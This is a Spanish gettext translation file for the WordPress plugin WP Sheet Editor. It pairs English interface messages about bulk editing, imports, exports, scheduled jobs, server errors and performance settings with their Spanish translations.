wp-sheet-editor/dev/inc/api/editor.php:285 msgid "" "This is the dynamic tag for this column. You can copy this and use it in the " "bulk edit tool" msgstr "" "Esta es una etiqueta dinámica para esta columna. Puedes copiar esto y usarlo " "en la herramienta de edición masiva" #: wp-sheet-editor/dev/inc/api/editor.php:286 msgid "Click here to show all columns again" msgstr "Haz clic aquí para ver todas las columnas otra vez" #: wp-sheet-editor/dev/inc/api/editor.php:287 msgid "" "The last import batch failed due to a server error, it's more likely that " "the server got overloaded.
                  1- You can try importing fewer rows per batch (i.e. import 2 rows " "every few seconds).
                  2- You can start a new import, sometimes trying again " "works (use the \"advanced settings\" in the step 1 of the import to start " "from a specific row).
                  3- You can increase the php memory following this tutorial
                  4- If the problem happens " "after trying with 1 row per batch, you can contact us and we will make it work for you" msgstr "" "El último lote de importación falló debido a un error del servidor, es más " "probable que el servidor se haya sobrecargado.
                  1- Puedes intentar importar menos filas por lote (es decir, " "importar 2 filas cada pocos segundos).
                  2- Puedes iniciar una nueva " "importación, a veces intentarlo de nuevo funciona (usa los \"Ajustes " "avanzados\" en el paso 1 de la importación para empezar desde una fila " "específica).
                  3- Puedes incrementar la memoria php siguiendo este tutorial
                  4- Si el problema ocurre " "después de intentarlo con 1 fila por lote, puedes contactar con nosotros y te ayudaremos." #: wp-sheet-editor/dev/inc/api/editor.php:288 msgid "" "Your server was not able to process this batch. Do you want to try again? " "You can retry 3 times, If 3 attempts fail we will stop the import completely." msgstr "" "Tu servidor no fue capaz de procesar este lote. ¿Quieres intentarlo de " "nuevo? Puedes volver a intentarlo 3 veces, y si los 3 intentos fallan, " "pararemos la importación completamente." #: wp-sheet-editor/dev/inc/api/editor.php:289 msgid "" "Please correct the error in the file and start a new import. You can use the " "\"Advanced options\" in the step 1 of the import to start from this specific " "row." msgstr "" "Por favor, corrige el error en el archivo e inicia una nueva importación. " "Puedes usar las \"Opciones avanzadas\" en el paso 1 de la importación para " "empezar desde esta fila específica." #: wp-sheet-editor/dev/inc/api/editor.php:290 msgid "

                  The import has finished

                  " msgstr "

                  La importación ha terminado

                  " #: wp-sheet-editor/dev/inc/api/editor.php:291 msgid "" "

                  The export has been scheduled. You can close this popup. View scheduled exports." msgstr "" "

                  La exportación se ha programado. Puedes cerrar esta ventana emergente. Ver las " "exportaciones programadas.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:292 msgid "" "

                  The import has been scheduled. You can close this popup. View scheduled imports." msgstr "" "

                  La importación ha sido programada. Puedes cerrar esta ventana emergente. " "Ver las " "importaciones programadas.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:293 msgid "" "

                  The changes have been scheduled. You can close this popup. View scheduled changes." "

                  " msgstr "" "

                  Los cambios han sido programados. Puedes cerrar esta ventana emergente. " "Ver los " "cambios programados.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:294 msgid "" "

                  The bulk edit has been scheduled. You can close this popup. View scheduled bulk " "edits.

                  " msgstr "" "

                  El cambio masivo ha sido programado. Puedes cerrar esta ventana " "emergente. Ver los cambios masivos " "programados.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:295 msgid "Modified cells" msgstr "Celdas modificadas" #: wp-sheet-editor/dev/inc/api/editor.php:296 msgid "The export has been edited successfully" msgstr "La exportación ha sido editada con éxito" #: wp-sheet-editor/dev/inc/api/editor.php:297 msgid "" "The list of Google Sheets files has been refreshed. Please search your file " "again." msgstr "" "La lista de archivos de Google Sheets se ha actualizado. Vuelve a buscar tu " "archivo." #: wp-sheet-editor/dev/inc/api/editor.php:298 msgid "" "This will disconnect your Google account from WP Sheet Editor which will " "stop all sync jobs configured with that Google account across all your " "WordPress sites. But other users can connect their own Google account, so " "other users' sync jobs linked to their own Google accounts will remain " "unaffected. Are you sure you want to disconnect your Google account " "completely?" msgstr "" "Esto desconectará tu cuenta de Google de WP Sheet Editor, lo que detendrá " "todas las tareas de sincronización configuradas con esa cuenta de Google en " "todos tus sitios de WordPress. Sin embargo, otros usuarios pueden conectar " "su propia cuenta de Google, por lo que las tareas de sincronización de otros " "usuarios vinculadas a sus propias cuentas de Google no se verán afectadas. " "¿Estás seguro de que quieres desconectar tu cuenta de Google por completo?" #: wp-sheet-editor/dev/inc/api/editor.php:299 msgid "" "Disconnecting the current site from your Google account and the WP Sheet " "Editor API will pause the sync jobs you created on this site. However, sync " "jobs created by other users on this site, which sync to their own Google " "accounts, will remain active. Your other WordPress sites will continue to " "function normally. Do you want to continue?" msgstr "" "Si desconectas el sitio actual de tu cuenta de Google y de la API de WP " "Sheet Editor, se detendrán las tareas de sincronización que hayas creado en " "este sitio. Sin embargo, las tareas de sincronización creadas por otros " "usuarios en este sitio, que se sincronizan con sus propias cuentas de " "Google, permanecerán activas. Tus otros sitios de WordPress seguirán " "funcionando con normalidad. ¿Quieres continuar?" #: wp-sheet-editor/dev/inc/api/editor.php:300 msgid "The bulk edit has been edited successfully" msgstr "El cambio masivo ha sido editado con éxito" #: wp-sheet-editor/dev/inc/api/editor.php:301 msgid "The import has been edited successfully" msgstr "La importación ha sido editada con éxito" #: wp-sheet-editor/dev/inc/api/editor.php:302 msgid "Name of this export" msgstr "Nombre de esta exportación" #: wp-sheet-editor/dev/inc/api/editor.php:303 msgid "" "Are you sure you want to delete this scheduled job and all its related files?" msgstr "" "¿Estás seguro de que quieres eliminar esta tarea programada y todos sus " "archivos relacionados?" #: wp-sheet-editor/dev/inc/api/editor.php:304 msgid "Are you sure you want to delete this columns view?" msgstr "¿Estás seguro de que quieres eliminar esta vista de columnas?" #: wp-sheet-editor/dev/inc/api/editor.php:306 msgid "

                  The process has finished

                  " msgstr "

                  El proceso ha terminado

                  " #: wp-sheet-editor/dev/inc/api/editor.php:307 msgid "The selected product does not have variations" msgstr "El producto seleccionado no tiene variaciones" #: wp-sheet-editor/dev/inc/api/editor.php:308 msgid "empty" msgstr "vacío" #: wp-sheet-editor/dev/inc/api/editor.php:309 msgid "This will save you {clicks_count} clicks :)" msgstr "Esto te ahorrará {clicks_count} clics :)" #: wp-sheet-editor/dev/inc/api/editor.php:310 msgid "" "We found similar columns. Do you want to apply the same action to them? " "{columns}" msgstr "" "Encontramos columnas similares. ¿Quieres aplicarles la misma acción? " "{columns}" #: wp-sheet-editor/dev/inc/api/editor.php:311 msgid "" "This column is only for variation rows, parent products don't use this field" msgstr "" "Esta columna es sólo para las filas de variaciones, los productos padre no " "usan este campo" #: wp-sheet-editor/dev/inc/api/editor.php:312 msgid "Editing the field: {field_label}" msgstr "Editando el campo: {field_label}" #: wp-sheet-editor/dev/inc/api/editor.php:313 msgid "Column not found. Try with another search criteria." msgstr "Columna no encontrada. Intenta con otro criterio de búsqueda." #: wp-sheet-editor/dev/inc/api/editor.php:314 msgid "" "This column is for parent products only, variations don't use this field" msgstr "" "Esta columna es sólo para los productos padre, las variaciones no usan este " "campo" #: wp-sheet-editor/dev/inc/api/editor.php:315 msgid "Paste using keyboard: Ctrl+V" msgstr "Pegar con el teclado: Ctrl+V" #: wp-sheet-editor/dev/inc/api/editor.php:316 msgid "Realign cells" msgstr "Realinear celdas" #: wp-sheet-editor/dev/inc/api/editor.php:317 msgid "Remove all filters" msgstr "Eliminar todos los filtros" #: wp-sheet-editor/dev/inc/api/editor.php:318 msgid "Resize columns based on the values" msgstr "Redimensionar las columnas en base a los valores" #: wp-sheet-editor/dev/inc/api/editor.php:319 msgid "Delete row" msgstr "Borrar fila" #: wp-sheet-editor/dev/inc/api/editor.php:320 msgid "" "Do you want to delete {rows_number} rows from the database completely? If " "you want to restore them later, you should make a backup before." msgstr "" "Quieres borrar {rows_number} filas de la base de datos completamente? Si " "quieres restaurarlas después, deberías hacer una copia de seguridad antes." #: wp-sheet-editor/dev/inc/api/editor.php:321 msgid "Duplicate row" msgstr "Duplicar fila" #: wp-sheet-editor/dev/inc/api/editor.php:322 msgid "Hide column" msgstr "Ocultar columna" #: wp-sheet-editor/dev/inc/api/editor.php:323 msgid "Bulk edit column" msgstr "Editar esta columna masivamente" #: wp-sheet-editor/dev/inc/api/editor.php:325 msgid "Copy variations from this product" msgstr "Copiar variaciones de este producto" #: wp-sheet-editor/dev/inc/api/editor.php:327 msgid "Delete field" msgstr "Eliminar campo" #: wp-sheet-editor/dev/inc/api/editor.php:328 msgid "" "We will delete this meta field from the database and you will lose the " "values saved in this field on all the rows. You should make a backup to be " "able to restore in the future. Do you want to continue with the deletion?" msgstr "" "Borraremos este campo meta de la base de datos y perderás los valores " "guardados en este campo en todas las filas. Deberías hacer una copia de " "seguridad para poder restaurarla en el futuro. ¿Quieres continuar con la " "eliminación?" #: wp-sheet-editor/dev/inc/api/editor.php:329 msgid "Delete serialized field" msgstr "Eliminar campo serializado" #: wp-sheet-editor/dev/inc/api/editor.php:330 msgid "" "We will delete this serialized field, which includes all its subfields, from " "the database and you will lose the values saved in this field on all the " "rows. You should make a backup to be able to restore in the future. Do you " "want to continue with the deletion?" msgstr "" "Borraremos este campo serializado, incluyendo todos sus subcampos, de la " "base de datos y perderás los valores guardados en este campo en todas las " "filas. Deberías hacer una copia de seguridad para poder restaurar en el " "futuro. ¿Quieres continuar con la eliminación?" #: wp-sheet-editor/dev/inc/api/editor.php:331 msgid "Edit meta key" msgstr "Editar la meta clave" #: wp-sheet-editor/dev/inc/api/editor.php:332 msgid "Error: The new value is empty or is equal to the old value" msgstr "Error: El nuevo valor está vacío o es igual al valor antiguo" #: wp-sheet-editor/dev/inc/api/editor.php:333 msgid "Showing rows from your last session." msgstr "Mostrando las filas de la última sesión." #: wp-sheet-editor/dev/inc/api/editor.php:334 msgid "Export column" msgstr "Exportar columna" #: wp-sheet-editor/dev/inc/api/editor.php:335 msgid "" "

                  The bulk edit was not applied completely. The process was canceled due to " "an error.

                  You can close this window.

                  " msgstr "" "

                  El cambio masivo no se aplicó completamente. El proceso fue cancelado " "debido a un error.

                  Puedes cerrar esta ventana.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:336 msgid "" "

                  The process did not finish. The process was canceled due to an error.

                  You can close this window.

                  " msgstr "" "

                  " "Puedes cerrar esta ventana.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:337 msgid "" "Your server was not able to process this batch. Do you want to try again?" msgstr "" "El servidor no ha podido procesar este lote. ¿Quieres intentarlo de nuevo?" #: wp-sheet-editor/dev/inc/api/editor.php:338 msgid "The bulk edit was executed successfully. You can close this window" msgstr "El cambio masivo fue ejecutado con éxito. Puedes cerrar esta ventana." #: wp-sheet-editor/dev/inc/api/editor.php:340 msgid "" "ENABLE COLUMNS. These columns require a page reload: {columns}. Do you want " "to reload now? We will reload automatically" msgstr "" "HABILITAR COLUMNAS. Estas columnas requieren una recarga de la página: " "{columns}. ¿Quieres recargar ahora? Recargaremos automáticamente." #: wp-sheet-editor/dev/inc/api/editor.php:341 msgid "" "Column removed. Go to \"settings > hide/display columns\" to enable it again" msgstr "" "Columna removida. Ve a \"Ajustes > Ocultar/mostrar columnas\" para " "habilitarla de nuevo" #: wp-sheet-editor/dev/inc/api/editor.php:342 msgid "" "You have modified posts. Please save the changes because we will refresh the " "spreadsheet." msgstr "" "Has modificado filas. Por favor, guarda los cambios porque actualizaremos la " "hoja de cálculo." #: wp-sheet-editor/dev/inc/api/editor.php:343 msgid "" "You have modified rows. Please save the changes before removing columns from " "the spreadsheet." msgstr "" "Has modificado filas. Por favor, guarda los cambios antes de eliminar " "columnas de la hoja de cálculo." #: wp-sheet-editor/dev/inc/api/editor.php:344 msgid "" "You have modified posts. Please save the changes because we will refresh the " "spreadsheet. Do you want to refresh now?" msgstr "" "Has modificado filas. Por favor, guarda los cambios porque actualizaremos la " "hoja de cálculo. ¿Quieres recargar ahora?" #: wp-sheet-editor/dev/inc/api/editor.php:345 msgid "" "Some rows were modified in the background. Please save the changes and " "reload the spreadsheet to see the changes" msgstr "" "Algunas filas fueron modificadas en segundo plano. Por favor, guarda los " "cambios y recarga la hoja de cálculo para ver los cambios." #: wp-sheet-editor/dev/inc/api/editor.php:346 msgid "" "Some rows were modified in the spreadsheet. Please save the changes before " "using this feature." msgstr "" "Algunas filas fueron modificadas en el fondo. Por favor, guarda los cambios " "antes de usar esta función." #: wp-sheet-editor/dev/inc/api/editor.php:347 msgid "" "We didn't find rows to update from the search query. Please try another " "search query." msgstr "" "No encontramos filas a actualizar a partir de la consulta de búsqueda. Por " "favor, intenta otra búsqueda." #: wp-sheet-editor/dev/inc/api/editor.php:348 msgid "We didn't find rows for the export. Please try another search query." msgstr "No encontramos filas a exportar. Por favor, intenta con otra búsqueda." #: wp-sheet-editor/dev/inc/api/editor.php:349 msgid "You can find all the settings here, like columns visibility, etc." msgstr "" "Puedes encontrar todos los ajustes aquí, como la visibilidad de las " "columnas, etc." #: wp-sheet-editor/dev/inc/api/editor.php:350 msgid "Oops, nothing found" msgstr "Oops, no encontramos nada." #: wp-sheet-editor/dev/inc/api/editor.php:352 msgid "Upload image" msgstr "Subir imagen" #: wp-sheet-editor/dev/inc/api/editor.php:353 msgid "View Gallery" msgstr "Ver Galería" #: wp-sheet-editor/dev/inc/api/editor.php:354 msgid "No options available" msgstr "No hay opciones disponibles" #: wp-sheet-editor/dev/inc/api/editor.php:355 #: wp-sheet-editor/dev/inc/api/helpers.php:1341 msgid "Items loaded in the spreadsheet" msgstr "Elementos cargados en la hoja de cálculo" #: wp-sheet-editor/dev/inc/api/editor.php:356 msgid "New rows added" msgstr "Se añadieron nuevas filas" #: wp-sheet-editor/dev/inc/api/editor.php:357 msgid "" "The bulk edit has been executed. Do you want to reload the page to see the " "changes?" msgstr "" "El cambio masivo ha sido ejecutado. ¿Quieres recargar la página para ver los " "cambios?" #: wp-sheet-editor/dev/inc/api/editor.php:358 msgid "" "

                  The changes were not saved completely. The process was canceled due to an " "error .

                  You can close this popup.

                  " msgstr "" "

                  Los cambios no se guardaron completamente. El proceso fue cancelado " "debido a un error .

                  Puedes cerrar esta ventana emergente.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:359 msgid "" "

                  The automatic saving failed. Your changes were not saved completely due " "to an error. You can try again later, if the error persists contact our " "support team and keep this tab opened

                  " msgstr "" "

                  El guardado automático falló. Tus cambios no se guardaron completamente " "debido a un error. Puedes intentarlo de nuevo más tarde. Si el error " "persiste, contacta a nuestro equipo de soporte y mantén esta pestaña abierta." "

                  " #: wp-sheet-editor/dev/inc/api/editor.php:360 msgid "{updated} attributes have been merged." msgstr "Se combinaron {updated} atributos." #: wp-sheet-editor/dev/inc/api/editor.php:361 msgid "{updated} items saved of {total} items that need saving." msgstr "" "Se han guardado {updated} elementos de {total} elementos que necesitan " "guardarse." #: wp-sheet-editor/dev/inc/api/editor.php:362 msgid "" "Scanning variations to be created. {updated} products of {total} products " "have been processed." msgstr "" "Escaneando variaciones a crear. Se han procesado {updated} productos de " "{total} productos." #: wp-sheet-editor/dev/inc/api/editor.php:363 msgid "{deleted} duplicates have been removed." msgstr "Se eliminaron {deleted} duplicados." #: wp-sheet-editor/dev/inc/api/editor.php:364 msgid "All items have been saved." msgstr "Se han guardado todos los elementos." #: wp-sheet-editor/dev/inc/api/editor.php:365 msgid "" "Please check if you have unsaved changes. If you have, please save them or " "they will be dismissed." msgstr "" "Por favor, comprueba si tienes cambios no guardados. Si es así, por favor, " "guárdalos o serán descartados." #: wp-sheet-editor/dev/inc/api/editor.php:366 msgid "Everything is already saved." msgstr "Ya está todo guardado." #: wp-sheet-editor/dev/inc/api/editor.php:367 msgid "" "The server did not accept our request. Bad request, please try refresh the " "page and try again." msgstr "" "El servidor no aceptó nuestra petición. Mala solicitud. Por favor, intenta " "actualizar la página e inténtalo de nuevo." #: wp-sheet-editor/dev/inc/api/editor.php:368 msgid "" "The server didn't accept our request. You don't have permission to do this " "action. Please log in again." msgstr "" "El servidor no aceptó nuestra petición. No tienes permisos para realizar " "esta acción. Por favor, inicia sesión de nuevo." #: wp-sheet-editor/dev/inc/api/editor.php:369 msgid "The server is not available or overloaded. Please try again later." msgstr "" "El servidor no está disponible o está sobrecargado. Por favor, inténtalo de " "nuevo más tarde." #: wp-sheet-editor/dev/inc/api/editor.php:370 msgid "The server is not available or overloaded. Do you want to try again?" msgstr "" "El servidor no está disponible o está sobrecargado. ¿Quieres intentarlo de " "nuevo?" #: wp-sheet-editor/dev/inc/api/editor.php:371 msgid "" "The auto saving failed: the server is not available or overloaded. Do you " "want to try again?" msgstr "" "El guardado automático falló: El servidor no está disponible o está " "sobrecargado. ¿Quieres intentarlo de nuevo?" #: wp-sheet-editor/dev/inc/api/editor.php:372 msgid "" "The server wasn't able to process our request. Server error. Please try " "again later." msgstr "" "El servidor no pudo procesar nuestra petición. Error del servidor. Por " "favor, inténtalo de nuevo más tarde." #: wp-sheet-editor/dev/inc/api/editor.php:373 msgid "" "The server has exceeded its allocated resources and is not able to process " "our request." msgstr "" "El servidor ha excedido sus recursos asignados y no puede procesar nuestra " "solicitud." #: wp-sheet-editor/dev/inc/api/editor.php:374 msgid "" "The server is busy and took too long to respond to our request. Please try " "again later." msgstr "" "El servidor está ocupado y tardó demasiado en responder a nuestra petición. " "Por favor, inténtalo de nuevo más tarde." #: wp-sheet-editor/dev/inc/api/editor.php:375 msgid "The server could not process our request. Please try again later." msgstr "" "El servidor no pudo procesar nuestra solicitud. Por favor, inténtalo de " "nuevo más tarde." #: wp-sheet-editor/dev/inc/api/editor.php:376 msgid "Change background color" msgstr "Cambiar el color de fondo" #: wp-sheet-editor/dev/inc/api/editor.php:377 msgid "" "

                  Missing column?

                  " msgstr "" "

                  ¿Falta una columna?

                  o " #: wp-sheet-editor/dev/inc/api/editor.php:383 msgid "" "Do we deserve a 5-star review? Yes, you deserve it . - . " "No" msgstr "" "¿Merecemos 5 estrellas? Sí, lo merecen. . - . No" #: wp-sheet-editor/dev/inc/api/helpers.php:444 #: wp-sheet-editor/dev/inc/teasers/terms.php:54 msgid "(Pro extension)" msgstr "(Extensión Pro)" #: wp-sheet-editor/dev/inc/api/helpers.php:448 #: wp-sheet-editor/dev/inc/teasers/coupons.php:35 #: wp-sheet-editor/dev/inc/teasers/terms.php:54 #: wp-sheet-editor/dev/inc/teasers/users.php:34 msgid "(Install free extension)" msgstr "(Instalar extensión gratuita)" #: wp-sheet-editor/dev/inc/api/helpers.php:551 msgid "The item could not be saved. Please try again in other moment." msgstr "" "El elemento no se ha podido guardar. Por favor, inténtalo de nuevo en otro " "momento." #: wp-sheet-editor/dev/inc/api/helpers.php:1026 msgid "User not allowed to edit rows" msgstr "Usuario no autorizado para editar las filas" #: wp-sheet-editor/dev/inc/api/helpers.php:1308 msgid "No more posts available." msgstr "No hay más filas disponibles." #: wp-sheet-editor/dev/inc/api/helpers.php:1310 msgid "" "No posts found matching your search parameters. You can remove the active " "filters or try with a different search." msgstr "" "No se han encontrado filas que coincidan con los parámetros de búsqueda. " "Puedes eliminar los filtros activos o intentarlo con una búsqueda diferente." #: wp-sheet-editor/dev/inc/api/helpers.php:1312 msgid "No posts available for the current page." msgstr "No hay filas disponibles para la página actual." #: wp-sheet-editor/dev/inc/api/logger.php:49 msgid "The log file does not exist." msgstr "El archivo de registro no existe." #: wp-sheet-editor/dev/inc/integrations/elementor.php:60 msgid "Elementor" msgstr "Elementor" #: wp-sheet-editor/dev/inc/integrations/notifier.php:38 msgid "Disable the popup that asks you to install important extensions?" msgstr "" "¿Deshabilitar la ventana emergente que te pide instalar extensiones " "importantes?" #: wp-sheet-editor/dev/inc/integrations/notifier.php:39 msgid "" "We show a popup asking you to install free extensions when we detect that " "you are using a third-party plugin that requires special compatibility, " "which helps us prevent errors." msgstr "" "Mostramos una ventana emergente pidiéndote que instales extensiones " "gratuitas cuando detectamos que estás utilizando un plugin de terceros que " "requiere una compatibilidad especial, lo que nos ayuda a evitar errores." #: wp-sheet-editor/dev/inc/integrations/notifier.php:201 msgid "Integrations" msgstr "Integraciones" #: wp-sheet-editor/dev/inc/integrations/notifier.php:241 msgid "Important extensions" msgstr "Extensiones importantes" #: wp-sheet-editor/dev/inc/integrations/notifier.php:242 msgid "" "Some of your plugins require special compatibility, and we have created " "these extensions that you can download for free if you purchased our plugin." msgstr "" "Algunos plugins requieren compatibilidad especial y hemos creado estas " "extensiones que puedes descargar gratuitamente si compraste nuestro plugin." #: wp-sheet-editor/dev/inc/integrations/notifier.php:243 msgid "" "It's important that you install them to prevent errors, but you can do it " "later if you want. Find this popup in the toolbar > extensions > " "Integrations." msgstr "" "Es importante que las instales para evitar errores, pero puedes hacerlo más " "tarde si quieres. Encuentra esta ventana emergente en la barra de " "herramientas > extensiones > Integraciones." #: wp-sheet-editor/dev/inc/integrations/notifier.php:244 msgid "" "If you click on the \"download\" button, we will download the file from the " "official website: wpsheeteditor.com." msgstr "" "Si haces clic en el botón \"descargar\", descargaremos el archivo desde el " "sitio web oficial: wpsheeteditor.com." #: wp-sheet-editor/dev/inc/integrations/notifier.php:251 #: wp-sheet-editor/dev/inc/integrations/notifier.php:274 msgid "Extension name" msgstr "Nombre de la extensión" #: wp-sheet-editor/dev/inc/integrations/notifier.php:252 #: wp-sheet-editor/dev/inc/integrations/notifier.php:275 #: wp-sheet-editor/dev/inc/teasers/post-types.php:96 msgid "Description" msgstr "Descripción" #: wp-sheet-editor/dev/inc/integrations/notifier.php:253 #: wp-sheet-editor/dev/inc/integrations/notifier.php:276 msgid "Action" msgstr "Acción" #: wp-sheet-editor/dev/inc/integrations/notifier.php:261 #: wp-sheet-editor/dev/inc/integrations/notifier.php:284 msgid "Already downloaded" msgstr "Descargada" #: wp-sheet-editor/dev/inc/integrations/notifier.php:261 msgid "Download" msgstr "Descargar" #: wp-sheet-editor/dev/inc/integrations/notifier.php:270 msgid "Extensions that require update" msgstr "Extensiones que requieren actualización" #: wp-sheet-editor/dev/inc/integrations/notifier.php:284 msgid "Download update" msgstr "Actualización de descarga" #: wp-sheet-editor/dev/inc/integrations/notifier.php:290 msgid "" "When you finish downloading the plugins, you need to go to wp-admin > " "plugins > add new and install them." msgstr "" "Cuando termines de descargar los plugins, tienes que ir a wp-admin > plugins " "> añadir nuevo e instalarlos." #: wp-sheet-editor/dev/inc/integrations/notifier.php:291 #, fuzzy #| msgid "Need help?" msgid "Do you need help?." msgstr "¿Necesitas ayuda?" #: wp-sheet-editor/dev/inc/integrations/visual-composer.php:33 msgid "WPBakery Page Builder" msgstr "WPBakery Page Builder" #: wp-sheet-editor/dev/inc/integrations/visual-composer.php:46 msgid "Live" msgstr "En vivo" #: wp-sheet-editor/dev/inc/integrations/visual-composer.php:52 msgid "Backend" msgstr "Backend" #: wp-sheet-editor/dev/inc/options-init.php:19 msgid "Speed and performance" msgstr "Velocidad y rendimiento" #: wp-sheet-editor/dev/inc/options-init.php:25 msgid "Load rows faster: Number of rows to load per batch" msgstr "Cargar las filas más rápido: Número de filas a cargar por lote" #: wp-sheet-editor/dev/inc/options-init.php:26 msgid "" "We use pagination to use few server resources. We load 20 rows first and " "load 20 more every time you scroll down. You can increase this number to " "load more rows per page. CAREFUL. Loading more than 200 rows per page might " "overload your server. If we detect that the server is overloaded we will " "automatically reset to 10 rows per page." msgstr "" "Usamos la paginación para usar pocos recursos del servidor. Cargamos 20 " "filas primero y 20 más cada vez que se desplaza hacia abajo. Puedes aumentar " "este número para cargar más filas por página. CUIDADO. Cargar más de 200 " "filas por página podría sobrecargar tu servidor. Si detectamos que el " "servidor está sobrecargado, automáticamente se restablecerá a 10 filas por " "página." #: wp-sheet-editor/dev/inc/options-init.php:33 msgid "Export rows faster: Number of rows to export per batch" msgstr "Exportar filas más rápido: Número de filas a exportar por lote" #: wp-sheet-editor/dev/inc/options-init.php:34 msgid "" "Here you can control the batch size for the exports. If you use a high " "number the exports will finish faster. You can use a high number safely " "because we automatically fall back to a lower number if the server is " "overloaded during one export. For example, export 100 rows per batch and " "complete the exports super fast and if we detect slowness in one export we " "will automatically restart the export with 10 rows per batch" msgstr "" "Aquí puedes controlar el tamaño del lote para las exportaciones. Si usas un " "número alto, las exportaciones terminarán más rápido. Puedes usar un número " "alto de forma segura porque automáticamente volvemos a un número más bajo si " "el servidor se sobrecarga durante una exportación. Por ejemplo, exportar 100 " "filas por lote y completar las exportaciones súper rápido y si detectamos " "lentitud en una exportación reiniciaremos automáticamente la exportación con " "10 filas por lote" #: wp-sheet-editor/dev/inc/options-init.php:41 msgid "Save changes faster: Number of rows to save per batch" msgstr "Guarda los cambios más rápido: Número de filas a guardar por lote" #: wp-sheet-editor/dev/inc/options-init.php:42 msgid "" "When you edit a large amount of posts in the spreadsheet editor we can't " "save all the changes at once, so we do it in batches. The recommended value " "is 4 , which means we will process only 4 posts at once. You can adjust it " "as it works best for you. If you get errors when saving you should lower the " "number" msgstr "" "Cuando editas una gran cantidad de filas en el editor de hojas de cálculo, " "no podemos guardar todos los cambios a la vez, así que lo hacemos por lotes. " "El valor recomendado es 4 , lo que significa que procesaremos sólo 4 filas a " "la vez. Puedes ajustarlo como mejor te convenga. Si se producen errores al " "guardar, deberías reducir el número" #: wp-sheet-editor/dev/inc/options-init.php:49 msgid "Delete posts faster: Number of posts to delete per batch" msgstr "Borrar filas más rápido: Número de filas a borrar por lote" #: wp-sheet-editor/dev/inc/options-init.php:50 msgid "" "When you delete posts, pages, events, products, orders, coupons, and other " "post types, you can select how many will be deleted on every batch. Use a " "higher number to finish faster. Default is 500" msgstr "" "Cuando borras entradas, páginas, eventos, productos, pedidos, cupones, y " "otros post types, puedes seleccionar cuántas filas borraremos por lote. Usa " "un número mayor para finalizar más rápido, pero pudiera saturar tu servidor. " "Predeterminado: 500" #: wp-sheet-editor/dev/inc/options-init.php:58 msgid "Increase Productivity" msgstr "Aumentar la productividad" #: wp-sheet-editor/dev/inc/options-init.php:63 msgid "Use pagination in the spreadsheet?" msgstr "¿Usar la paginación en la hoja de cálculo?" #: wp-sheet-editor/dev/inc/options-init.php:64 msgid "" "By default we use an infinite list of rows and we load more rows every time " "you scroll down. You can activate this option to display pagination links " "and disable the infinite list." msgstr "" "Por defecto, usamos una lista infinita de filas y cargamos más filas cada " "vez que te desplazas hacia abajo. Puedes habilitar esta opción para mostrar " "los enlaces de paginación y desactivar la lista infinita." #: wp-sheet-editor/dev/inc/options-init.php:70 msgid "Disable the automatic loading of rows?" msgstr "¿Desactivar la carga automática de filas?" #: wp-sheet-editor/dev/inc/options-init.php:71 msgid "" "When you open the spreadsheet, we load the rows automatically so you can " "start editing right away. Activate this option if you want to search rows " "and load manually." msgstr "" "Cuando abres la hoja de cálculo, cargamos las filas automáticamente para que " "puedas empezar a editar de inmediato. Habilita esta opción si quieres buscar " "filas y cargarlas manualmente." #: wp-sheet-editor/dev/inc/options-init.php:77 msgid "Disable the full screen mode?" msgstr "¿Desactivar el modo de pantalla completa?" #: wp-sheet-editor/dev/inc/options-init.php:78 msgid "" "When the sheet loads, we open it in full screen and you have the option to " "exit the full screen mode. Activate this option and we wont open the sheet " "in full screen." msgstr "" "Cuando se carga la hoja de cálculo, la abrimos en pantalla completa y tienes " "la opción de salir del modo de pantalla completa. Habilita esta opción y no " "abriremos la hoja en pantalla completa." #: wp-sheet-editor/dev/inc/options-init.php:84 msgid "Load more items on scroll?" msgstr "¿Cargar más filas al hacer scroll?" #: wp-sheet-editor/dev/inc/options-init.php:85 msgid "" "When this is enabled more items will be loaded to the bottom of the " "spreadsheet when you reach the end of the page. You can enable / disable in " "the spreadsheet too." msgstr "" "Cuando esta opción está habilitada, se cargarán más filas en la parte " "inferior de la hoja de cálculo cuando llegues al final de la página. También " "puedes habilitar/deshabilitar en la hoja de cálculo." #: wp-sheet-editor/dev/inc/options-init.php:92 msgid "Freeze first columns at the left side?" msgstr "¿Congelar las columnas iniciales del lado izquierdo?" #: wp-sheet-editor/dev/inc/options-init.php:93 msgid "" "Enter a number and those columns will be frozen while scrolling " "horizontally. You can right click on any column to freeze or unfreeze it. " "For example, enter 2 to freeze the first 2 columns" msgstr "" "Ingresa un número y esas columnas se fijarán al hacer scroll " "horizontalmente. Puedes hacer clic derecho en cualquier columna para fijar y " "descongelar. Por ejemplo, ingresa 2 para fijar las primeras 2 columnas." #: wp-sheet-editor/dev/inc/options-init.php:99 msgid "Enable auto saving?" msgstr "¿Habilitar el guardado automático?" #: wp-sheet-editor/dev/inc/options-init.php:100 msgid "" "Turn this on and the spreadsheet will save automatically all the changes " "made on the cells every 2 minutes. Careful, this might cause issues if the " "changes are saved prematurely before you finish editing all the required " "columns." msgstr "" "Habilita esto y la hoja de cálculo guardará los cambios hechos en las celdas " "cada 2 minutos. Cuidado: Esto puede causar problemas si los cambios se " "guardan prematuramente antes que termines de editar todas las columnas " "requeridas." #: wp-sheet-editor/dev/inc/options-init.php:116 msgid "Default sort order" msgstr "Orden por defecto" #: wp-sheet-editor/dev/inc/options-init.php:117 msgid "" "We'll sort the rows in the spreadsheet by this field. We recommend you sort " "based on fields that have values in all the rows in order to get more " "accurate results. For example, it's better to sort 1k products by Title ASC " "because you know that all the rows will be sorted accurately, but if you " "sort 1k rows by SKU, the 500 rows with SKU will be sorted correctly but the " "500 rows without SKU could potentially have random order as we don't have " "any value to sort them accurately." msgstr "" "Ordenaremos las filas de la hoja de cálculo según este campo. Te " "recomendamos ordenar por campos que tengan valores en todas las filas para " "obtener resultados más precisos. Por ejemplo, es mejor ordenar 1k productos " "por Título ASC porque sabes que todas las filas se ordenarán con precisión, " "pero si ordenas 1k filas por SKU, las 500 filas con SKU se ordenarán " "correctamente pero las 500 filas sin SKU podrían tener un orden aleatorio ya " "que no tenemos ningún valor para ordenarlas con precisión." #: wp-sheet-editor/dev/inc/options-init.php:129 msgid "Solution to weird errors" msgstr "Solución de errores raros" #: wp-sheet-editor/dev/inc/options-init.php:135 msgid "Columns limit" msgstr "Límite de columnas" #: 